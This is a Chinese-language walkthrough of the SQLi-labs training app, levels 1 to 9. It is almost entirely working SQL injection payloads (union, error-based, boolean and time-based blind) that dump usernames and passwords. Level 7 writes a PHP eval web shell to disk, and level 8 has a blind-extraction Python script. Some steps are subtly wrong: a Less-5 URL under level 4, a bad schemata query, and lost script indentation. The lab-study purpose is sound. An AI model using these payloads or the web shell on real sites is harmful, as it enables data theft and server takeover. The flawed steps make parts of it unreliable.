判断闭合方式
)
))
'
')
'))
"
")
"))
`
`)
`))
%
%)
%'
%')
%'))
%"
%")
%`
%`)
%`))
第一关(字符型注入)
- 源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 判断列数
http://127.0.0.1/sqlilabs/Less-1/?id=1' order by 3--+
- 查看回显位
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,3--+
- 爆破数据库名
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,database(),3--+
- 爆破表名
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- 爆列名
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 爆数据
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+
第二关(数字型注入)
- 源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- 判断列数
http://127.0.0.1/sqlilabs/Less-2/?id=1 order by 3--+
- 查看回显位
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,3--+
- 爆破数据库名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,database()--+
- 爆破表名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- 爆列名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 爆数据
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+
第三关(’)'闭合)
- 源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
- 判断列数
http://127.0.0.1/sqlilabs/Less-3/?id=1') order by 3--+
- 查看回显位
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,3--+
- 爆破数据库名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,database()--+
- 爆破表名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- 爆列名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 爆数据
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+
第四关("闭合)
- 源码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
- 运行看一下
<?php
$id='1';
$id = '"' . $id . '"';
echo $id;
?>
//结果:"1"
//功能:给id参数加了两个双引号
- 判断列数
http://127.0.0.1/sqlilabs/Less-4/?id=1") order by 3--+
- 查看回显位
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,3--+
- 爆破数据库名
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,database()--+
- 爆破表名
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- 爆列名
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+
- 爆数据
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+
第五关(双查询注入)
- 源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 基本知识
1. Rand() //随机函数,返回大于0,小于1之间的数
2. Floor() //取整函数,floor(rand()*2)返回值不是0就是1
3. Count() //汇总函数
4. Group by clause //分组语句
示例:
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
把concat((select database()), floor(rand()*1000)) 这个结果取了一个别名 temp ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。这里的database()可以替换成version(), user(), datadir()或者其他的查询。
- 判断列数
http://127.0.0.1/sqlilabs/Less-5/?id=1' order by 3--+
- 爆破数据库名
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*), concat((select database()),floor(rand()*2))as a from information_schema.tables group by a--+
- 爆破表名
超出限制:
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*), concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+
limit函数:
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a--+
- 爆列名
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+
- 爆数据
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select concat_ws('~',id,username,password) from security.users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+
第六关
- 源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
双引号闭合,将第五关中的单引号变成双引号即可。
第七关
- 源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
两个变量:
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
以第一关为例
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select null,@@datadir,@@basedir--+
- 写入shell
http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select null,null,'<?php @eval($_POST[cmd]);?>' into outfile "D:\\phpstudy\\WWW\\zhong.php"--+
第八关(布尔型盲注)
基本函数
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
- 源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 判断数据库名
http://127.0.0.1/sqlilabs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>114,1,0)--+
- 脚本(大佬的)
import urllib2
import urllib
success_str = "You are in"
getTable = "users"
index = "0"
url = "http://127.0.0.1/sqlilabs/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"
# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False
# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False
# 注入
def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print ("length of DBname: " + str(lengthOfDBName))
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)
print ("current database:" + DBname)
# 获取数据库中的表的个数
# print selectTableCountPayload
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print ("count of talbe:" + str(tableCount))
# 获取数据库中的表
for i in xrange(0,tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print ("current table length:" + str(tableNameLength))
# 获取当前这个表的名字
selectTableName = selectTable%(DBname, i)
tableName = getName(asciiPayload, selectTableName ,tableNameLength)
print (tableName)
selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
# print selectColumnCountPayload
# 获取指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print ("table:" + getTable + " --count of column:" + str(columnCount))
# 获取该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print ("table:" + getTable + " --count of data: " + str(dataCount))
data = []
# 获取指定表中的列
for i in xrange(0,columnCount):
# 获取该列名字长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
# print selectColumnNameLengthPayload
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print ("current column length:" + str(columnNameLength))
# 获取该列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
selectColumnName = selectColumn%(getTable, i)
# print selectColumnName
columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
print (columnName)
tmpData = []
tmpData.append(columnName)
# 获取该表的数据
for j in xrange(0,dataCount):
columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
# print columnDataLengthPayload
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
# print columnDataLength
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
# print columnData
tmpData.append(columnData)
data.append(tmpData)
# print data
# 格式化输出数据
# 输出列名
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][0] + " "
print (tmp)
# 输出具体数据
for j in xrange(1,dataCount+1):
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][j] + " "
print (tmp)
# 获取字符串的长度
def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft
# 获取名称
def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp
def main():
inject()
main()
第九关(时间型盲注)
- 源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 枚举数据库名
先判断能不能基于时间盲注来展开注入错误的语句 等了5秒才返回的 能基于时间的错误进行盲注
http://127.0.0.1/sqlilabs/Less-9/?id=1' and sleep(5)--+
爆当前数据库民称 这里我们使用二分法进行
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0,sleep(5))--+
立刻返回 证明第一个字母大于114
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5))--+
过了5秒才返回 证明字母小<115 应该是ascii115 s
- 枚举表名
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0,sleep(5))--+
直接返回大于100
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>105, 0,sleep(5))--+
过了5秒才返回 那么这是错误的,证明是在101-105之间
- 枚举字段
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5))--+